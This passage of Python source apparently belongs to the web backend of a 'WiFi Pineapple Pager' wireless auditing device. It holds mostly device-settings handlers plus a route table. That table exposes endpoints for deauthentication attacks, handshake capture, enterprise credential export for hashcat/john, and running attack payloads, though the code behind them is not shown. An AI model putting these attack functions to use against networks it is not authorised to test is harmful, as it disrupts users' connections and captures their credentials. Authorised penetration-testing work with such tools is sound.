enabled_values = values(raw.get('system.ntp.enabled', '1'))
|
|
enabled = (enabled_values[0] if enabled_values else '1') != '0'
|
|
return 200, {'enabled': enabled, 'servers': servers}
|
|
|
|
|
|
def h_settings_service(ctx):
|
|
rc, out, err = device_run(['/etc/init.d/pagerwebui', 'running'])
|
|
running = rc == 0
|
|
rc2, out2, err2 = device_run(['test', '-f', '/etc/init.d/pagerwebui'])
|
|
return 200, {'running': running, 'background': rc2 == 0}
|
|
|
|
|
|
def _uci_get(option, default=None):
|
|
rc, out, err = device_run(['uci', '-q', 'get', option])
|
|
if rc != 0:
|
|
return default
|
|
val = (out or '').strip()
|
|
return val if val else default
|
|
|
|
|
|
def _request_is_post(ctx):
|
|
return getattr(getattr(ctx, 'h', None), 'command', 'GET') == 'POST'
|
|
|
|
|
|
def h_settings_timezone(ctx):
|
|
if _request_is_post(ctx):
|
|
body = ctx.body or {}
|
|
timezone = (body.get('timezone') or '').strip()
|
|
zonename = (body.get('zonename') or '').strip()
|
|
if not timezone or not re.match(r'^[A-Za-z0-9_+,:./-]{1,96}$', timezone):
|
|
return 400, {'error': 'invalid timezone'}
|
|
device_run(['uci', 'set', 'system.@system[0].timezone=%s' % timezone])
|
|
if zonename and re.match(r'^[A-Za-z0-9_+./-]{1,96}$', zonename):
|
|
device_run(['uci', 'set', 'system.@system[0].zonename=%s' % zonename])
|
|
else:
|
|
device_run(['uci', 'delete', 'system.@system[0].zonename'])
|
|
device_run(['uci', 'commit', 'system'])
|
|
device_run(['/etc/init.d/system', 'reload'])
|
|
return 200, {
|
|
'timezone': _uci_get('system.@system[0].timezone', 'UTC'),
|
|
'zonename': _uci_get('system.@system[0].zonename', '')
|
|
}
|
|
|
|
|
|
def h_settings_sync_time(ctx):
|
|
timestamp = (ctx.body or {}).get('timestamp', '')
|
|
if isinstance(timestamp, (int, float)):
|
|
timestamp = time.strftime('%Y-%m-%d %H:%M:%S', time.gmtime(timestamp))
|
|
timestamp = str(timestamp).strip()
|
|
if not re.match(r'^\d{4}-\d{2}-\d{2} \d{2}:\d{2}:\d{2}$', timestamp):
|
|
return 400, {'error': 'timestamp must be UTC YYYY-MM-DD HH:MM:SS'}
|
|
rc, out, err = device_run(['date', '-u', '-s', timestamp])
|
|
if rc != 0:
|
|
return 502, {'error': err or out or 'failed to set time'}
|
|
device_run(['hwclock', '-w'])
|
|
return 200, {'ok': True, 'utc': timestamp}
|
|
|
|
|
|
def _parse_df_rows(text):
|
|
rows = []
|
|
for line in text.splitlines()[1:]:
|
|
parts = line.split()
|
|
if len(parts) < 7:
|
|
continue
|
|
try:
|
|
size = int(parts[2]) * 1024
|
|
used = int(parts[3]) * 1024
|
|
available = int(parts[4]) * 1024
|
|
except ValueError:
|
|
continue
|
|
rows.append({'filesystem': parts[0], 'format': parts[1], 'size': size,
|
|
'used': used, 'available': available,
|
|
'used_percent': parts[5], 'mount': ' '.join(parts[6:])})
|
|
return rows
|
|
|
|
|
|
def h_settings_resources(ctx):
|
|
rc, out, err = device_run(['df', '-PT'])
|
|
return 200, {'filesystems': _parse_df_rows(out)}
|
|
|
|
|
|
def h_settings_usb(ctx):
|
|
rc, out, err = device_run(['lsusb'])
|
|
devices = []
|
|
pattern = re.compile(r'^Bus\s+(\d+)\s+Device\s+(\d+):\s+ID\s+([0-9A-Fa-f:]+)\s*(.*)$')
|
|
for line in out.splitlines():
|
|
match = pattern.match(line.strip())
|
|
if match:
|
|
devices.append({'bus': match.group(1), 'device': match.group(2),
|
|
'id': match.group(3), 'name': match.group(4).strip()})
|
|
return 200, {'devices': devices}
|
|
|
|
|
|
def h_settings_network(ctx):
|
|
_, link_out, _ = device_run(['ip', '-o', 'link', 'show'])
|
|
_, addr_out, _ = device_run(['ip', '-o', '-4', 'addr', 'show'])
|
|
addresses = {}
|
|
for line in addr_out.splitlines():
|
|
match = re.match(r'^\d+:\s+([^\s]+)\s+inet\s+([^\s]+)', line)
|
|
if match:
|
|
addresses.setdefault(match.group(1).split('@', 1)[0], []).append(match.group(2))
|
|
interfaces = []
|
|
for line in link_out.splitlines():
|
|
match = re.match(r'^\d+:\s+([^:]+):\s+<([^>]*)>.*?(?:link/\S+\s+([^\s]+))?', line)
|
|
if not match:
|
|
continue
|
|
name = match.group(1).split('@', 1)[0]
|
|
# Monitor interfaces on the Pager report link/[803] instead of
|
|
# link/ether, but still expose a normal MAC immediately afterward.
|
|
mac_match = re.search(r'link/\S+\s+([0-9A-Fa-f:]{17})', line)
|
|
flags = [f for f in match.group(2).split(',') if f]
|
|
# The current Pager iproute build occasionally renders LOWER_UP100.
|
|
flags = [re.sub(r'100$', '', f) for f in flags]
|
|
interfaces.append({'name': name, 'addresses': addresses.get(name, []),
|
|
'mac': mac_match.group(1).upper() if mac_match else '',
|
|
'flags': flags})
|
|
_, route_out, _ = device_run(['route', '-n'])
|
|
routes = []
|
|
for line in route_out.splitlines():
|
|
parts = line.split()
|
|
if len(parts) == 8 and re.match(r'^\d+\.\d+\.\d+\.\d+$', parts[0]):
|
|
routes.append({'destination': parts[0], 'gateway': parts[1],
|
|
'genmask': parts[2], 'flags': parts[3],
|
|
'metric': parts[4], 'ref': parts[5], 'use': parts[6],
|
|
'interface': parts[7]})
|
|
return 200, {'interfaces': interfaces, 'routes': routes,
|
|
'client': {'interface': 'wlan0cli',
|
|
'enabled': _uci_get('wireless.wlan0cli.disabled', '1') == '0'},
|
|
'recon_interfaces': [i['name'] for i in interfaces
|
|
if i['name'].endswith('mon')]}
|
|
|
|
|
|
def h_settings_management_wifi(ctx):
|
|
current = _uci_wifi_iface('wlan0mgmt')
|
|
if _request_is_post(ctx):
|
|
body = ctx.body or {}
|
|
enabled = bool(body.get('enabled'))
|
|
ssid = (body.get('ssid') or current.get('ssid') or '').strip()
|
|
bssid = (body.get('bssid') or current.get('macaddr') or '').strip().upper()
|
|
password = body.get('password') or current.get('key') or ''
|
|
if enabled and not ssid:
|
|
return 400, {'error': 'SSID is required when the management AP is enabled'}
|
|
if enabled and len(password) < 8:
|
|
return 400, {'error': 'management password must be at least 8 characters'}
|
|
if bssid and not re.match(r'^[0-9A-F]{2}(?::[0-9A-F]{2}){5}$', bssid):
|
|
return 400, {'error': 'invalid BSSID'}
|
|
values = {
|
|
'ssid': ssid, 'hidden': '1' if body.get('hidden') else '0',
|
|
'disabled': '0' if enabled else '1',
|
|
'encryption': 'psk2' if password else 'none'
|
|
}
|
|
if password:
|
|
values['key'] = password
|
|
if bssid:
|
|
values['macaddr'] = bssid
|
|
for key, value in values.items():
|
|
device_run(['uci', 'set', 'wireless.wlan0mgmt.%s=%s' % (key, value)])
|
|
device_run(['uci', 'commit', 'wireless'])
|
|
rc, out, err = device_run(['wifi', 'reload'], timeout=45)
|
|
if rc != 0:
|
|
return 502, {'error': err or out or 'wireless reload failed'}
|
|
current = _uci_wifi_iface('wlan0mgmt')
|
|
return 200, {
|
|
'ssid': current.get('ssid') or '', 'bssid': current.get('macaddr') or '',
|
|
'hidden': current.get('hidden') == '1',
|
|
'enabled': current.get('disabled') == '0',
|
|
'has_password': bool(current.get('key'))
|
|
}
|
|
|
|
|
|
WIFI_CLIENT_ENCRYPTIONS = {
|
|
'none': 'none', 'open': 'none',
|
|
'wpa2': 'psk2', 'psk2': 'psk2',
|
|
'wpa3': 'sae', 'sae': 'sae',
|
|
'wpa2wpa3': 'sae-mixed', 'sae-mixed': 'sae-mixed'
|
|
}
|
|
|
|
|
|
def _freq_to_channel(freq):
|
|
if not freq:
|
|
return None
|
|
if freq < 2484:
|
|
return int((freq - 2412) / 5 + 1)
|
|
if freq == 2484:
|
|
return 14
|
|
return int((freq - 5000) / 5)
|
|
|
|
|
|
def _wifi_client_state():
|
|
cfg = _uci_wifi_iface('wlan0cli')
|
|
state = {
|
|
'enabled': cfg.get('disabled', '1') != '1',
|
|
'connected': False,
|
|
'ssid': cfg.get('ssid') or '',
|
|
'connected_ssid': '',
|
|
'ip': '',
|
|
'signal': None,
|
|
'freq': None,
|
|
'routed': cfg.get('routed') == '1',
|
|
'has_password': bool(cfg.get('key'))
|
|
}
|
|
rc, out, err = device_run(['iw', 'dev', 'wlan0cli', 'link'], timeout=10)
|
|
for line in out.splitlines():
|
|
line = line.strip()
|
|
if line.startswith('Connected to'):
|
|
state['connected'] = True
|
|
elif line.startswith('SSID:'):
|
|
state['connected_ssid'] = line.split(':', 1)[1].strip().strip('"')
|
|
elif line.startswith('signal:'):
|
|
try:
|
|
state['signal'] = int(float(line.split(':', 1)[1].split()[0]))
|
|
except (ValueError, IndexError):
|
|
state['signal'] = None
|
|
elif line.startswith('freq:'):
|
|
try:
|
|
state['freq'] = int(float(line.split(':', 1)[1].split()[0]))
|
|
except (ValueError, IndexError):
|
|
state['freq'] = None
|
|
if not state['connected']:
|
|
state['connected_ssid'] = ''
|
|
_, addr_out, _ = device_run(['ip', '-4', 'addr', 'show', 'dev', 'wlan0cli'], timeout=10)
|
|
for line in addr_out.splitlines():
|
|
m = re.search(r'inet\s+(\d+\.\d+\.\d+\.\d+)', line)
|
|
if m:
|
|
state['ip'] = m.group(1)
|
|
break
|
|
return state
|
|
|
|
|
|
def h_settings_wifi_client(ctx):
|
|
return 200, _wifi_client_state()
|
|
|
|
|
|
def _parse_wifi_scan(out):
|
|
networks = []
|
|
for block in out.split('BSS '):
|
|
block = block.strip()
|
|
if not block:
|
|
continue
|
|
m = re.match(r'([0-9A-Fa-f]{2}(?::[0-9A-Fa-f]{2}){5})\(on', block)
|
|
bss = m.group(1).upper() if m else ''
|
|
freq = None
|
|
m = re.search(r'freq:\s*([\d.]+)', block)
|
|
if m:
|
|
try:
|
|
freq = int(float(m.group(1)))
|
|
except ValueError:
|
|
freq = None
|
|
signal = None
|
|
m = re.search(r'signal:\s*(-?\d+(?:\.\d+)?)', block)
|
|
if m:
|
|
try:
|
|
signal = int(float(m.group(1)))
|
|
except ValueError:
|
|
signal = None
|
|
ssid = ''
|
|
m = re.search(r'SSID:\s*([^\n]*)', block)
|
|
if m:
|
|
ssid = m.group(1).strip().strip('"')
|
|
if (not ssid or all(ord(c) < 32 or c == '\ufffd' for c in ssid)
|
|
or re.match(r'^(\\x[0-9A-Fa-f]{2})+$', ssid)):
|
|
ssid = ''
|
|
if not ssid:
|
|
continue
|
|
auth = ''
|
|
m = re.search(r'Authentication suites:\s*([^\n]+)', block)
|
|
if m:
|
|
auth = m.group(1).strip()
|
|
if 'RSN:' in block and 'WPA:' in block:
|
|
encryption = 'WPA/WPA2'
|
|
elif 'RSN:' in block:
|
|
if 'SAE' in auth and 'PSK' in auth:
|
|
encryption = 'WPA2/WPA3'
|
|
elif 'SAE' in auth:
|
|
encryption = 'WPA3'
|
|
else:
|
|
encryption = 'WPA2'
|
|
elif 'WPA:' in block:
|
|
encryption = 'WPA'
|
|
else:
|
|
encryption = 'Open'
|
|
networks.append({'bssid': bss, 'ssid': ssid, 'freq': freq,
|
|
'channel': _freq_to_channel(freq), 'signal': signal,
|
|
'encryption': encryption})
|
|
by_ssid = {}
|
|
for net in networks:
|
|
key = net['ssid'] or net['bssid']
|
|
current = by_ssid.get(key)
|
|
if current is None or (net['signal'] or -200) > (current['signal'] or -200):
|
|
by_ssid[key] = net
|
|
return sorted(by_ssid.values(),
|
|
key=lambda n: n['signal'] if n['signal'] is not None else -200,
|
|
reverse=True)
|
|
|
|
|
|
def h_settings_wifi_client_scan(ctx):
|
|
rc, out, err = device_run(['iw', 'dev', 'wlan0', 'scan'], timeout=25)
|
|
if rc != 0:
|
|
return 502, {'error': err or out or 'scan failed'}
|
|
return 200, {'networks': _parse_wifi_scan(out)}
|
|
|
|
|
|
def h_settings_wifi_client_connect(ctx):
|
|
body = ctx.body or {}
|
|
ssid = (body.get('ssid') or '').strip()
|
|
if not ssid:
|
|
return 400, {'error': 'SSID is required'}
|
|
encryption = (body.get('encryption') or 'wpa2').strip().lower()
|
|
if encryption not in WIFI_CLIENT_ENCRYPTIONS:
|
|
return 400, {'error': 'unsupported encryption type'}
|
|
enc = WIFI_CLIENT_ENCRYPTIONS[encryption]
|
|
password = body.get('password') or ''
|
|
if enc != 'none' and len(password) < 8:
|
|
return 400, {'error': 'password must be at least 8 characters'}
|
|
routed = '1' if body.get('routed') else '0'
|
|
device_run(['uci', 'set', 'wireless.wlan0cli.ssid=%s' % ssid])
|
|
device_run(['uci', 'set', 'wireless.wlan0cli.encryption=%s' % enc])
|
|
device_run(['uci', 'set', 'wireless.wlan0cli.disabled=0'])
|
|
device_run(['uci', 'set', 'wireless.wlan0cli.routed=%s' % routed])
|
|
if enc == 'none':
|
|
device_run(['uci', 'delete', 'wireless.wlan0cli.key'])
|
|
else:
|
|
device_run(['uci', 'set', 'wireless.wlan0cli.key=%s' % password])
|
|
device_run(['uci', 'commit', 'wireless'])
|
|
daemon_sock_call('PUT', '/api/settings/wifi/set_client_route', {'routed': body.get('routed') or False})
|
|
rc, out, err = device_run(['wifi', 'reload'], timeout=45)
|
|
if rc != 0:
|
|
return 502, {'error': err or out or 'wireless reload failed'}
|
|
return 200, _wifi_client_state()
|
|
|
|
|
|
def h_settings_wifi_client_disconnect(ctx):
|
|
device_run(['uci', 'set', 'wireless.wlan0cli.disabled=1'])
|
|
device_run(['uci', 'commit', 'wireless'])
|
|
rc, out, err = device_run(['wifi', 'reload'], timeout=45)
|
|
if rc != 0:
|
|
return 502, {'error': err or out or 'wireless reload failed'}
|
|
return 200, _wifi_client_state()
|
|
|
|
|
|
def h_settings_wifi_client_route(ctx):
|
|
routed = bool((ctx.body or {}).get('routed'))
|
|
device_run(['uci', 'set', 'wireless.wlan0cli.routed=%d' % (1 if routed else 0)])
|
|
device_run(['uci', 'commit', 'wireless'])
|
|
daemon_sock_call('PUT', '/api/settings/wifi/set_client_route', {'routed': routed})
|
|
return 200, _wifi_client_state()
|
|
|
|
|
|
PAGER_LED_COLORS = ('red', 'green', 'blue', 'yellow', 'cyan', 'magenta', 'white')
|
|
|
|
|
|
def h_settings_hardware(ctx):
|
|
prefix = 'system.@pager[0].'
|
|
if _request_is_post(ctx):
|
|
body = ctx.body or {}
|
|
color = (body.get('led_color') or '').lower()
|
|
if color not in PAGER_LED_COLORS:
|
|
return 400, {'error': 'unsupported LED color'}
|
|
values = {
|
|
'led_color': color,
|
|
'vibrate': '1' if body.get('vibrate') else '0',
|
|
'clock24hr': '1' if body.get('clock24hr') else '0',
|
|
'lcd_brightness': str(max(1, min(11, int(body.get('lcd_brightness', 11))))),
|
|
'dim_brightness': str(max(0, min(11, int(body.get('dim_brightness', 2))))),
|
|
'dim_timeout': str(max(0, min(3600, int(body.get('dim_timeout', 15))))),
|
|
'lcd_timeout': str(max(0, min(86400, int(body.get('lcd_timeout', 300)))))
|
|
}
|
|
for key, value in values.items():
|
|
device_run(['uci', 'set', prefix + key + '=' + value])
|
|
device_run(['uci', 'commit', 'system'])
|
|
def number(key, fallback):
|
|
try:
|
|
return int(_uci_get(prefix + key, str(fallback)))
|
|
except ValueError:
|
|
return fallback
|
|
return 200, {
|
|
'led_color': _uci_get(prefix + 'led_color', 'magenta'),
|
|
'vibrate': _uci_get(prefix + 'vibrate', '1') == '1',
|
|
'clock24hr': _uci_get(prefix + 'clock24hr', '0') == '1',
|
|
'lcd_brightness': number('lcd_brightness', 11),
|
|
'dim_brightness': number('dim_brightness', 2),
|
|
'dim_timeout': number('dim_timeout', 15),
|
|
'lcd_timeout': number('lcd_timeout', 300)
|
|
}
|
|
|
|
|
|
def h_settings_advanced(ctx):
|
|
if _request_is_post(ctx):
|
|
channel = (ctx.body or {}).get('update_channel', '').strip().lower()
|
|
if channel not in ('stable', 'beta', 'nightly'):
|
|
return 400, {'error': 'invalid update channel'}
|
|
uci_set('system.updates.channel', channel)
|
|
return 200, {'hostname': hostname_data(),
|
|
'update_channel': _uci_get('system.updates.channel', 'stable')}
|
|
|
|
|
|
def h_settings_internet(ctx):
|
|
rc, _out, _err = device_run(
|
|
['ping', '-c', '1', '-W', '2', '1.1.1.1'], timeout=5)
|
|
return 200, {'online': rc == 0, 'checked_at': int(time.time())}
|
|
|
|
|
|
def _perform_reboot():
|
|
device_run(['reboot'], timeout=5)
|
|
|
|
|
|
def h_settings_reboot(ctx):
|
|
timer = threading.Timer(1.0, _perform_reboot)
|
|
timer.daemon = True
|
|
timer.start()
|
|
return 200, {'ok': True}
|
|
|
|
|
|
def h_settings_diagnostics(ctx):
|
|
commands = [
|
|
('System', ['uname', '-a']), ('Uptime', ['uptime']),
|
|
('Addresses', ['ip', 'addr']), ('Routes', ['route', '-n']),
|
|
('Filesystems', ['df', '-hT']), ('USB Devices', ['lsusb']),
|
|
('Wireless', ['iw', 'dev']), ('Recent Log', ['logread', '-l', '120'])
|
|
]
|
|
sections = []
|
|
report = ['WiFi Pineapple Pager diagnostics', time.strftime('%Y-%m-%d %H:%M:%S UTC', time.gmtime())]
|
|
for title, command in commands:
|
|
rc, out, err = device_run(command, timeout=30)
|
|
text = (out or err or '(no output)').strip()
|
|
sections.append({'title': title, 'output': text, 'ok': rc == 0})
|
|
report.extend(['', '=== %s ===' % title, text])
|
|
return 200, {'sections': sections, 'report': '\n'.join(report)}
|
|
|
|
|
|
ROUTER.add('POST', r'/api/login', h_login)
|
|
ROUTER.add('POST', r'/api/logout', h_logout)
|
|
ROUTER.add('GET', r'/api/api_ping', h_api_ping)
|
|
ROUTER.add('GET', r'/api/status', h_status)
|
|
ROUTER.add('GET', r'/api/device', h_device)
|
|
ROUTER.add('GET', r'/api/pineap/get_config', h_pineap_get_config)
|
|
ROUTER.add('POST', r'/api/pineap/set_config', h_pineap_set_config)
|
|
ROUTER.add('GET', r'/api/pineap/mode', h_pineap_mode_get)
|
|
ROUTER.add('POST', r'/api/pineap/mode', h_pineap_mode_post)
|
|
ROUTER.add('GET', r'/api/pineap/hostapd', h_pineap_hostapd_get)
|
|
ROUTER.add('POST', r'/api/pineap/hostapd', h_pineap_hostapd_set)
|
|
ROUTER.add('POST', r'/api/pineap/enable', h_pineap_enable)
|
|
ROUTER.add('POST', r'/api/pineap/mimic', h_pineap_mimic)
|
|
ROUTER.add('POST', r'/api/pineap/examine', h_pineap_examine)
|
|
ROUTER.add('POST', r'/api/pineap/wifi/get_ap', h_pineap_wifi_get_ap)
|
|
ROUTER.add('POST', r'/api/pineap/wifi/set_ap', h_pineap_wifi_set_ap)
|
|
ROUTER.add('POST', r'/api/pineap/ssidpool/advertise', h_pineap_advertise)
|
|
ROUTER.add('POST', r'/api/pineap/ssidpool/collect', h_pineap_collect)
|
|
ROUTER.add('POST', r'/api/pineap/interfaces', h_pineap_interfaces)
|
|
ROUTER.add('GET', r'/api/pineap/ssids', h_ssids_get)
|
|
ROUTER.add('POST', r'/api/pineap/ssids', h_ssids_post)
|
|
ROUTER.add('GET', r'/api/pineap/filters/client', lambda ctx: h_filter_get(ctx, 'client'))
|
|
ROUTER.add('POST', r'/api/pineap/filters/client', lambda ctx: h_filter_post(ctx, 'client'))
|
|
ROUTER.add('GET', r'/api/pineap/filters/ssid', lambda ctx: h_filter_get(ctx, 'ssid'))
|
|
ROUTER.add('POST', r'/api/pineap/filters/ssid', lambda ctx: h_filter_post(ctx, 'ssid'))
|
|
ROUTER.add('GET', r'/api/pineap/enterprise/radius', h_enterprise_radius)
|
|
ROUTER.add('GET', r'/api/pineap/enterprise/log', h_enterprise_log)
|
|
ROUTER.add('GET', r'/api/pineap/enterprise/export/(hashcat|john|json)', h_enterprise_export)
|
|
ROUTER.add('GET', r'/api/pineap/enterprise/(basic|challenge)', h_enterprise_data)
|
|
ROUTER.add('POST', r'/api/pineap/enterprise/clear', h_enterprise_clear)
|
|
ROUTER.add('GET', r'/api/pineap/clients', h_clients)
|
|
ROUTER.add('POST', r'/api/pineap/clients/kick', h_client_kick)
|
|
ROUTER.add('POST', r'/api/pineap/deauth/client', h_deauth_client)
|
|
ROUTER.add('POST', r'/api/attacks/deploy', h_attacks_deploy)
|
|
ROUTER.add('POST', r'/api/attacks/stop', h_attacks_stop)
|
|
ROUTER.add('GET', r'/api/attacks/status', h_attacks_status)
|
|
ROUTER.add('POST', r'/api/attacks/capture', h_attacks_capture)
|
|
ROUTER.add('GET', r'/api/attacks/export/hc22000', h_attacks_export_hc22000)
|
|
ROUTER.add('GET', r'/api/attacks/export/hc22000/([^/]+)', h_attacks_download_hc22000)
|
|
ROUTER.add('POST', r'/api/attacks/deauth', h_attacks_deauth)
|
|
ROUTER.add('GET', r'/api/attacks/clients', h_attacks_clients)
|
|
ROUTER.add('GET', r'/api/health', h_health)
|
|
ROUTER.add('POST', r'/mcp', h_mcp)
|
|
ROUTER.add('GET', r'/api/harness/capabilities', h_harness_capabilities)
|
|
ROUTER.add('GET', r'/api/harness/token', h_harness_token)
|
|
ROUTER.add('POST', r'/api/recon/start', h_recon_start)
|
|
ROUTER.add('POST', r'/api/recon/stop', h_recon_stop)
|
|
ROUTER.add('GET', r'/api/recon/status', h_recon_status)
|
|
ROUTER.add('GET', r'/api/recon/scans', h_recon_scans)
|
|
ROUTER.add('DELETE', r'/api/recon/scans', h_recon_delete_all)
|
|
ROUTER.add('GET', r'/api/recon/scans/(\d+)/download/json', h_recon_scan_download)
|
|
ROUTER.add('GET', r'/api/recon/scans/(\d+)', h_recon_scan_detail)
|
|
ROUTER.add('DELETE', r'/api/recon/scans/(\d+)', h_recon_delete)
|
|
ROUTER.add('GET', r'/api/recon/events', h_recon_events)
|
|
ROUTER.add('POST', r'/api/recon/examine', h_recon_examine)
|
|
ROUTER.add('GET', r'/api/recon/scans/(\d+)/download/csv', h_recon_scan_download_csv)
|
|
ROUTER.add('GET', r'/api/recon/scans/(\d+)/download/html', h_recon_scan_download_html)
|
|
ROUTER.add('GET', r'/api/recon/gps', h_recon_gps)
|
|
ROUTER.add('POST', r'/api/recon/gps/configure', h_recon_gps_configure)
|
|
ROUTER.add('POST', r'/api/recon/wigle', h_recon_wigle)
|
|
ROUTER.add('GET', r'/api/recon/wigle/files', h_recon_wigle_files)
|
|
ROUTER.add('GET', r'/api/recon/wigle/files/([^/]+)', h_recon_wigle_file)
|
|
ROUTER.add('GET', r'/api/recon/archives', h_recon_archives)
|
|
ROUTER.add('GET', r'/api/recon/archives/([^/]+)/scans', h_recon_archive_scans)
|
|
ROUTER.add('GET', r'/api/recon/archives/([^/]+)/scans/(\d+)', h_recon_archive_scan_detail)
|
|
ROUTER.add('GET', r'/api/recon/archives/([^/]+)/scans/(\d+)/download/json', h_recon_archive_scan_download)
|
|
ROUTER.add('GET', r'/api/recon/archives/([^/]+)/scans/(\d+)/download/csv', h_recon_archive_scan_download_csv)
|
|
ROUTER.add('GET', r'/api/recon/archives/([^/]+)/scans/(\d+)/download/html', h_recon_archive_scan_download_html)
|
|
ROUTER.add('GET', r'/api/pineap/handshakes/location', h_handshakes_location)
|
|
ROUTER.add('DELETE', r'/api/pineap/handshakes/all', h_handshakes_delete_all)
|
|
ROUTER.add('GET', r'/api/pineap/handshakes', h_handshakes_get)
|
|
ROUTER.add('GET', r'/api/pineap/handshakes/([^/]+)', h_handshake_file)
|
|
ROUTER.add('DELETE', r'/api/pineap/handshakes', h_handshakes_delete)
|
|
ROUTER.add('GET', r'/api/loot/zip', h_loot_zip)
|
|
ROUTER.add('POST', r'/api/loot/archive', h_loot_archive)
|
|
ROUTER.add('GET', r'/api/payloads/index', h_payloads_index)
|
|
ROUTER.add('GET', r'/api/payloads/installed', h_payloads_installed)
|
|
ROUTER.add('POST', r'/api/payloads/refresh', h_payloads_refresh)
|
|
ROUTER.add('POST', r'/api/payloads/install', h_payloads_install)
|
|
ROUTER.add('POST', r'/api/payloads/remove', h_payloads_remove)
|
|
ROUTER.add('GET', r'/api/payloads/runs', h_payloads_runs)
|
|
ROUTER.add('POST', r'/api/payloads/run', h_payloads_run)
|
|
ROUTER.add('POST', r'/api/payloads/stop', h_payloads_stop)
|
|
ROUTER.add('GET', r'/api/logging/system', h_logging_system)
|
|
ROUTER.add('GET', r'/api/logging/pineap', h_logging_pineap)
|
|
ROUTER.add('GET', r'/api/settings/hostname', h_settings_hostname)
|
|
ROUTER.add('POST', r'/api/settings/hostname', h_settings_hostname)
|
|
ROUTER.add('POST', r'/api/settings/password', h_settings_password)
|
|
ROUTER.add('GET', r'/api/settings/ntp', h_settings_ntp)
|
|
ROUTER.add('POST', r'/api/settings/ntp', h_settings_ntp)
|
|
ROUTER.add('GET', r'/api/settings/service', h_settings_service)
|
|
ROUTER.add('GET', r'/api/settings/timezone', h_settings_timezone)
|
|
ROUTER.add('POST', r'/api/settings/timezone', h_settings_timezone)
|
|
ROUTER.add('POST', r'/api/settings/synctime', h_settings_sync_time)
|
|
ROUTER.add('GET', r'/api/settings/resources', h_settings_resources)
|
|
ROUTER.add('GET', r'/api/settings/usb', h_settings_usb)
|
|
ROUTER.add('GET', r'/api/settings/network', h_settings_network)
|
|
ROUTER.add('GET', r'/api/settings/wifi/management', h_settings_management_wifi)
|
|
ROUTER.add('POST', r'/api/settings/wifi/management', h_settings_management_wifi)
|
|
ROUTER.add('GET', r'/api/settings/wifi/client', h_settings_wifi_client)
|
|
ROUTER.add('POST', r'/api/settings/wifi/client/scan', h_settings_wifi_client_scan)
|
|
ROUTER.add('POST', r'/api/settings/wifi/client/connect', h_settings_wifi_client_connect)
|
|
ROUTER.add('POST', r'/api/settings/wifi/client/disconnect', h_settings_wifi_client_disconnect)
|
|
ROUTER.add('POST', r'/api/settings/wifi/client/route', h_settings_wifi_client_route)
|
|
ROUTER.add('GET', r'/api/settings/hardware', h_settings_hardware)
|
|
ROUTER.add('POST', r'/api/settings/hardware', h_settings_hardware)
|
|
ROUTER.add('GET', r'/api/settings/advanced', h_settings_advanced)
|
|
ROUTER.add('POST', r'/api/settings/advanced', h_settings_advanced)
|
|
ROUTER.add('GET', r'/api/settings/internet', h_settings_internet)
|
|
ROUTER.add('POST', r'/api/settings/reboot', h_settings_reboot)
|
|
ROUTER.add('GET', r'/api/settings/diagnostics', h_settings_diagnostics)
|
|
|
|
|
|
def _daemon_ws_connect(path):
|
|
"""Open an RFC6455 WS to the daemon. Returns (sock, error)."""
|
|
import socket as _socket
|
|
host = DAEMON_BASE.replace('http://', '').split(':')
|
|
sock = _socket.socket(_socket.AF_INET, _socket.SOCK_STREAM)
|
|
sock.settimeout(10)
|
|
sock.connect((host[0], int(host[1])))
|
|
key = base64.b64encode(os.urandom(16)).decode('ascii')
|
|
sess = load_session()
|
|
cookie = 'AUTH_%s=%s' % (sess.get('serverid', ''), sess.get('token', ''))
|
|
req = ('GET %s HTTP/1.1\r\n'
|
|
'Host: %s\r\n'
|
|
'Upgrade: websocket\r\n'
|
|
'Connection: Upgrade\r\n'
|
|
'Sec-WebSocket-Key: %s\r\n'
|
|
'Sec-WebSocket-Version: 13\r\n'
|
|
'Cookie: %s\r\n'
|
|
'\r\n') % (path, DAEMON_BASE.replace('http://', ''), key, cookie)
|
|
sock.sendall(req.encode('ascii'))
|
|
resp = b''
|
|
while b'\r\n\r\n' not in resp:
|
|
chunk = sock.recv(4096)
|
|
if not chunk:
|
|
sock.close()
|
|
return None, 'daemon closed during handshake'
|
|
resp += chunk
|
|
if b' 101 ' not in resp.split(b'\r\n', 1)[0]:
|
|
sock.close()
|
|
return None, resp.split(b'\r\n', 1)[0].decode('ascii', 'replace')
|
|
return sock, None
|
|
|
|
|
|
def _handle_conn(conn, addr):
|
|
try:
|
|
conn.settimeout(60)
|
|
h = PagerHandler(conn, addr)
|
|
while not h.close_connection:
|
|
if not h.read_request():
|
|
break
|
|
h._dispatch()
|
|
except Exception:
|
|
pass
|
|
finally:
|
|
try:
|
|
conn.close()
|
|
except OSError:
|
|
pass
|
|
|
|
|
|
def _recon_watchdog_loop():
|
|
while not LIVE_STOP.is_set():
|
|
LIVE_STOP.wait(1)
|
|
_recon_watchdog_tick()
|
|
|
|
|
|
def _request_shutdown(signum=None, frame=None):
|
|
LIVE_STOP.set()
|
|
HEALTH_STOP.set()
|
|
_recon_hopper_stop.set()
|
|
|
|
|
|
def _uci_iface_present(name):
|
|
rc, out, err = device_run(['uci', '-q', 'get', 'wireless.%s' % name])
|
|
return rc == 0
|
|
|
|
|
|
def _stop_overlay_runtime():
|
|
"""Stop Mark VIII-only processes. Does not rewrite Pager UCI."""
|
|
try:
|
|
_recon_hopper_stop.set()
|
|
except Exception:
|
|
pass
|
|
_recon_scan_state['active'] = False
|
|
try:
|
|
_restore_dummy_sta()
|
|
except Exception:
|
|
pass
|
|
for iface in ('wlan0mon', 'wlan1mon'):
|
|
pidfile = '/tmp/mk8_capture_%s.pid' % iface
|
|
try:
|
|
with open(pidfile) as handle:
|
|
pid = int(handle.read().strip())
|
|
device_run(['kill', str(pid)], timeout=5)
|
|
os.unlink(pidfile)
|
|
except (OSError, ValueError):
|
|
pass
|
|
try:
|
|
_disable_enterprise_ap(resume_hop=False)
|
|
except Exception:
|
|
pass
|
|
|
|
|
|
def _restore_wifi_iface(name, wanted):
|
|
device_run(['uci', 'delete', 'wireless.%s' % name])
|
|
if not wanted:
|
|
return
|
|
device_run(['uci', 'set', 'wireless.%s=wifi-iface' % name])
|
|
for key, value in wanted.items():
|
|
device_run(['uci', 'set', 'wireless.%s.%s=%s' % (name, key, value)])
|
|
|
|
|
|
def capture_pager_snapshot(force=False):
|
|
"""Record Pager-owned overlay UCI so shutdown can restore it.
|
|
|
|
A crash/respawn must keep the original snapshot. Recapture only when
|
|
forced (fresh start after a clean restore, or an explicit release).
|
|
"""
|
|
if not force:
|
|
existing = load_pager_snapshot()
|
|
if existing:
|
|
return existing
|
|
snap = {'taken': time.time(), 'uci': {}, 'ifaces': {}}
|
|
for name in PAGER_SNAPSHOT_IFACES:
